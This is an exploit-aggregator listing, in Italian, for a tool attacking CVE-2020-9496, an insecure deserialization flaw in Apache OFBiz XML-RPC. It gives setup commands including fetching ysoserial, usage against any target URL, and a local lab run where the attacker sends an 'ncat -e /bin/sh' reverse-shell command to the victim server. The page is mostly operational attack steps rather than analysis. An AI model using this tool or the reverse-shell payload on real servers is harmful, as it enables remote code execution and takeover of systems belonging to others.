Sploitus

Exploit for CVE-2020-9496

kitploit · 2026-08-25

Exploit Code

MARKDOWN48 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-AMBALABANOV-CVE-2020-9496
# CVE-2020-9496

Le richieste XML-RPC sono vulnerabili a deserializzazione non sicura e problemi di Cross-Site Scripting in Apache OFBiz 17.12.03

## Requisiti di installazione

root@kitploit:~
    
    
    $ pip install -r requirements.txt
    $ wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar -O ysoserial.jar
    
    

## Utilizzo

root@kitploit:~
    
    
    $ python cve-2020-9496.py --target [URL]
    
    

## Test

vittima

root@kitploit:~
    
    
    $ git clone https://gitbox.apache.org/repos/asf/ofbiz-framework.git ofbiz-framework
    $ cd ofbiz-framework/
    $ git checkout release17.12.01
    $ sed -i 's/gradle-3.2.1-bin.zip/gradle-6.0-bin.zip/g' gradle/wrapper/gradle-wrapper.properties
    $ sudo ./gradlew ofbiz
    
    

attaccante

root@kitploit:~
    
    
    $ python cve-2020-9496.py --target https://127.0.0.1:8443
    cmd> ncat -e /bin/sh 127.0.0.1 8888
    [!] Send payload ...
    [+] Done!